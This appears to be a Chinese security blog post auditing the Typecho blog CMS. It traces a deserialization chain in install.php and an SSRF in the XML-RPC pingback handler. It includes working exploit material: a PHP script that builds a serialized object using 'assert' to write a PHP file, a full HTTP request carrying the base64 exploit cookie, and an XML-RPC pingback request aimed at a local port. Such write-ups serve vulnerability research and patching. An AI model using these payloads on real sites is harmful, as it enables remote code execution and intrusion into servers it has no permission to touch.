【Web渗透】typcho 审计

admin 2023年12月26日00:21:35评论24 views字数 11059阅读36分51秒阅读模式

反序列化漏洞

0x01 分析

install.php 228-235中存在下面这段代码


<?php else : ?>    <?php    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));    Typecho_Cookie::delete('__typecho_config');    $db = new Typecho_Db($config['adapter'], $config['prefix']);    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);    Typecho_Db::set($db);    ?>

这里的unserialize很明显的反序列化,在PHP反序列化中,一般我们会去寻找魔术方法,构造POP链,一般是__destruct,__wakeup,__toString这三个。

__destruct 有两处。跟了进去没有看到可利用的地方。

【Web渗透】typcho 审计

__wakeup没有。

【Web渗透】typcho 审计

跟着代码详细分析下,这里base64解密通过cookie传入的数据,然后new了一个Typecho_Db。


跟进这个Typecho_Db


这里将Typecho_Db_Adapter_$adapterName拼接在一起。__toString() 的触发条件是把类当作字符串使用时触发,返回值需要为字符串。所以如果$adapterName传入的是个实例化对象,就会触发该对象的__toString()魔术方法。

全局搜索下__toString(),发现三个地方。稍微总结一下。第一处Config.php的__toString 函数中是一个序列化方法,第二处Query.php文件是一个构造查询语句的过程, 第三处在Feed.php中构造Feed输出的内容。这里面都没有直接的危险函数,所以需要进一步构造。

【Web渗透】typcho 审计

跟进var/Typecho/Config.php,没又发现可利用点。


跟进/var/Typecho/Db/Query.php


第492行$this->_adapter调用parseSelect()方法,如果该实例化对象在对象上下文中调用不可访问的方法时触发,便会触发__call()魔术方法。

全局搜索__call()

【Web渗透】typcho 审计

一个个跟进,在var/Typecho/Plugin.php的479-491,我们看到call_user_func_array


据我所知,call_user_func_array可能会造成代码注入的问题,分析一下。

$component是调用失败的方法名,$args是调用时的参数,均可控,而__call在对象上下文中调用不可访问的方法时触发。$args加上我们构造的payload,最少是个长度为2的数组,但是483行又给数组加了一个长度,导致$args长度至少为3,那么call_user_func_array()便无法正常执行。所以此路就不通了。

跟进var/Typecho/Feed.php


我们看到,这里调用了一个item元素里的一个属性,如果这个属性是从某个类的不可访问属性里获取的,那么会自动调用__get方法。

【Web渗透】typcho 审计

全局搜索__get()

【Web渗透】typcho 审计

在var/Typecho/Request.php处发现可利用,跟进一下:


这里的__get调用get,跟进get。


get方法主要通过key值获取$this->_params中键的值, 接着调用了_applyFilter方法。跟进_applyFilter


这里的关键是call_user_func($filter, $value);array_map($filter, $value)都会造成任意代码执行。

0x02 构造poc

这里要转到我们刚刚漏洞点的话,有些前置要求。


这里只要传入GET参数finish,并设置referer为站内url即可。回溯整个利用链

我们可以通过设置item['author']来控制Typecho_Request类中的私有变量,这样类中的_filter_params['screenName']都可控,call_user_func函数变量可控,任意代码执行。



【Web渗透】typcho 审计

0x03 后记

但是这个payload有点问题,但是当我们按照上面的所有流程构造poc之后,发请求到服务器,却会返回500错误。

【Web渗透】typcho 审计

这里的开头有一个ob_start()。在php.net上关于ob_start的解释是这样的。

【Web渗透】typcho 审计

因为我们上面对象注入的代码触发了原本的exception,导致ob_end_clean()执行,原本的输出会在缓冲区被清理。

这里有两个办法:

  • 因为call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。

  • 第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。

知道创宇的LoRexxar给出了一种POC


0x04 Refer

SSRF 漏洞

0x01 分析

问题出在了和wordpress一样的XMLRPC上。XMLRPC这个接口在Typecho 1.0版本中是默认有的。

XMLRPC里的Pingback协议,这个协议诞生在Web 2.0概念诞生之初,由于在互联网世界各个博客站点之间是独立的存在,而它们之间又经常存在互相引用的情况。当你在写的文章发表后,如果文中引用了某个链接,系统会自动向那个链接发一个PING,告诉对方我引用了这篇文章,地址是: xxx。对方收到这个PING以后会根据你给的原文地址回去检验一下是否存在这个引用,这就是一次BACK。检验完以后,会把这次引用记录下来,大家经常在Typecho或者WordPress之类博客评论列表里看到的引用记录,就是这么来的。

这里如果在BACK对原文地址检验的时候,使用了cURL或者socket对原文地址发起网络请求,由于未做任何限制,导致SSRF漏洞。

漏洞点在于var/Widget/XmlRpc.php 2046行


这里直接调用Typecho_Http_Client类的get方法,返回 发起HTTP请求的类。如果失败,直接返回错误,整个调用结束。


跟进get方法。


这里$adapterFiles = glob(dirname(__FILE__) . '/Client/Adapter/*.php')

目的是为了查找Client/Adapter/目录下的两个文件,一个是curl.php,一个是socket.php。从Client/Adapter/目录中,添加这两个发起HTTP请求的类,一个是Curl,另一个是Socket。

【Web渗透】typcho 审计

回到XmlRpc.php,$http->setTimeout(5)->send($source);该行代码用上面返回的HTTP类调用send方法发起HTTP请求。跟进send函数

【Web渗透】typcho 审计

跟进httpsend函数,位置var/Typecho/Http/Client/Adapter/Curl.php


这里没有对地址进行过滤,显然就有SSRF的问题了

0x02 构造poc

由于是cURL造成的SSRF利用姿势较多

这里梳理一下代码逻辑,这里有两种发起HTTP请求的办法,一种是Curl,另一种是fsockopen。如果Curl可用,则优先使用。如果cURL返回失败或者返回成功后但状态码不是200,返回源地址服务器错误。如果cURL返回成功,并且状态码为200,如果没有x-pingback头,返回源地址不支持PingBack,如果有x-pingback头,就继续往下判断。

【Web渗透】typcho 审计

POC:


$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));Typecho_Cookie::delete('__typecho_config');$db = new Typecho_Db($config['adapter'], $config['prefix']);
public function __construct($adapterName, $prefix = 'typecho_'){    /** 获取适配器名称 */    $this->_adapterName = $adapterName;
/** 数据库适配器 */ $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) { throw new Typecho_Db_Exception("Adapter {$adapterName} is not available"); }
$this->_prefix = $prefix;
/** 初始化内部变量 */ $this->_pool = array(); $this->_connectedPool = array(); $this->_config = array();
//实例化适配器对象 $this->_adapter = new $adapterName();}
public function __toString(){    return serialize($this->_currentConfig);}
public function __toString(){    switch ($this->_sqlPreBuild['action']) {        case Typecho_Db::SELECT:            return $this->_adapter->parseSelect($this->_sqlPreBuild);        case Typecho_Db::INSERT:            return 'INSERT INTO '            . $this->_sqlPreBuild['table']            . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'            . ' VALUES '            . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'            . $this->_sqlPreBuild['limit'];        case Typecho_Db::DELETE:            return 'DELETE FROM '            . $this->_sqlPreBuild['table']            . $this->_sqlPreBuild['where'];        case Typecho_Db::UPDATE:            $columns = array();            if (isset($this->_sqlPreBuild['rows'])) {                foreach ($this->_sqlPreBuild['rows'] as $key => $val) {                    $columns[] = "$key = $val";                }            }
return 'UPDATE ' . $this->_sqlPreBuild['table'] . ' SET ' . implode(' , ', $columns) . $this->_sqlPreBuild['where']; default: return NULL;
public function __call($component, $args){        $component = $this->_handle . ':' . $component;        $last = count($args);        $args[$last] = $last > 0 ? $args[0] : false;
if (isset(self::$_plugins['handles'][$component])) { $args[$last] = NULL; $this->_signal = true; foreach (self::$_plugins['handles'][$component] as $callback) { $args[$last] = call_user_func_array($callback, $args); } }
foreach ($this->_items as $item) {                $content .= '<item>' . self::EOL;                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;                $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;                $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;                $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
if (!empty($item['category']) && is_array($item['category'])) { foreach ($item['category'] as $category) { $content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL; } }
if (!empty($item['excerpt'])) { $content .= '<description><![CDATA[' . strip_tags($item['excerpt']) . ']]></description>' . self::EOL; }
if (!empty($item['content'])) { $content .= '<content:encoded xml:lang="' . $this->_lang . '"><![CDATA[' . self::EOL . $item['content'] . self::EOL . ']]></content:encoded>' . self::EOL; }
public function __get($key){    return $this->get($key);}
public function get($key, $default = NULL){    switch (true) {        case isset($this->_params[$key]):            $value = $this->_params[$key];            break;        case isset(self::$_httpParams[$key]):            $value = self::$_httpParams[$key];            break;        default:            $value = $default;            break;    }
$value = !is_array($value) && strlen($value) > 0 ? $value : $default; return $this->_applyFilter($value);}
private function _applyFilter($value){    if ($this->_filter) {        foreach ($this->_filter as $filter) {            $value = is_array($value) ? array_map($filter, $value) :            call_user_func($filter, $value);        }
$this->_filter = array(); }
return $value;}
session_start();
//判断是否已经安装if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) { exit;}
// 挡掉可能的跨站请求if (!empty($_GET) || !empty($_POST)) { if (empty($_SERVER['HTTP_REFERER'])) { exit; }
$parts = parse_url($_SERVER['HTTP_REFERER']); if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) { $parts['host'] = "{$parts['host']}:{$parts['port']}"; }
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) { exit; }}
<?php
class Typecho_Feed{ private $_type = 'ATOM 1.0'; private $_charset = 'UTF-8'; private $_lang = 'zh'; private $_items = array();
public function addItem(array $item){ $this->_items[] = $item; }}
class Typecho_Request{ private $_params = array('screenName'=>'file_put_contents('l1nk3r.php', '<?php @phpinfo();?>')'); private $_filter = array('assert');}
$payload1 = new Typecho_Feed();$payload2 = new Typecho_Request();$payload1->addItem(array('author' => $payload2));$exp = array('adapter' => $payload1, 'prefix' => 'typecho');echo base64_encode(serialize($exp));?>
GET /1/typecho/install.php?finish=1  HTTP/1.1Host: 192.168.248.129User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:47.0) Gecko/20100101 Firefox/47.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTQ6ImZpbGVfcHV0X2NvbnRlbnRzKCdsMW5rM3IucGhwJywgJzw/cGhwIEBwaHBpbmZvKCk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==Referer:http://192.168.248.129/1/typecho/install.phpConnection: close
<?phpclass Typecho_Request{    private $_params = array();    private $_filter = array();
public function __construct(){ // $this->_params['screenName'] = 'whoami'; $this->_params['screenName'] = -1; $this->_filter[0] = 'phpinfo'; }}
class Typecho_Feed{ const RSS2 = 'RSS 2.0'; /** 定义ATOM 1.0类型 */ const ATOM1 = 'ATOM 1.0'; /** 定义RSS时间格式 */ const DATE_RFC822 = 'r'; /** 定义ATOM时间格式 */ const DATE_W3CDTF = 'c'; /** 定义行结束符 */ const EOL = "n"; private $_type; private $_items = array(); public $dateFormat;
public function __construct(){ $this->_type = self::RSS2; $item['link'] = '1'; $item['title'] = '2'; $item['date'] = 1507720298; $item['author'] = new Typecho_Request(); $item['category'] = array(new Typecho_Request());
$this->_items[0] = $item; }}
$x = new Typecho_Feed();$a = array( 'host' => 'localhost', 'user' => 'xxxxxx', 'charset' => 'utf8', 'port' => '3306', 'database' => 'typecho', 'adapter' => $x, 'prefix' => 'typecho_');echo urlencode(base64_encode(serialize($a)));?>
public function pingbackPing($source, $target){        /** 检查源地址是否存在*/        if (!($http = Typecho_Http_Client::get())) {            return new IXR_Error(16, _t('源地址服务器错误'));        }
try {
$http->setTimeout(5)->send($source); $response = $http->getResponseBody();
if (200 == $http->getResponseStatus()) {
if (!$http->getResponseHeader('x-pingback')) { preg_match_all("/<link[^>]*rel=["']([^"']*)["'][^>]*href=["']([^"']*)["'][^>]*>/i", $response, $out); if (!isset($out[1]['pingback'])) { return new IXR_Error(50, _t('源地址不支持PingBack')); } }
} else { return new IXR_Error(16, _t('源地址服务器错误')); }
} catch (Exception $e) { return new IXR_Error(16, _t('源地址服务器错误')); }
/** 检查源地址是否存在*/        if (!($http = Typecho_Http_Client::get())) {            return new IXR_Error(16, _t('源地址服务器错误'));        }
public static function get(){    $adapters = func_get_args();
if (empty($adapters)) { $adapters = array(); $adapterFiles = glob(dirname(__FILE__) . '/Client/Adapter/*.php'); foreach ($adapterFiles as $file) { $adapters[] = substr(basename($file), 0, -4); } }
foreach ($adapters as $adapter) { $adapterName = 'Typecho_Http_Client_Adapter_' . $adapter; if (Typecho_Common::isAvailableClass($adapterName) && call_user_func(array($adapterName, 'isAvailable'))) { return new $adapterName(); } }
public function httpSend($url){    $ch = curl_init();
if ($this->ip) { $url = $this->scheme . '://' . $this->ip . $this->path; $this->headers['Rfc'] = $this->method . ' ' . $this->path . ' ' . $this->rfc; $this->headers['Host'] = $this->host; }
curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_PORT, $this->port); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FRESH_CONNECT, true); curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
<?xml version="1.0" encoding="utf-8"?><methodCall>   <methodName>pingback.ping</methodName>  <params>    <param>      <value>        <string>http://127.0.0.1:222</string>      </value>    </param>    <param>      <value>        <string>l1nk3r</string>      </value>    </param>  </params></methodCall>


原文始发于微信公众号(信安学习笔记):【Web渗透】typcho 审计

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月26日00:21:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Web渗透】typcho 审计http://cn-sec.com/archives/2334260.html

发表评论

匿名网友 填写信息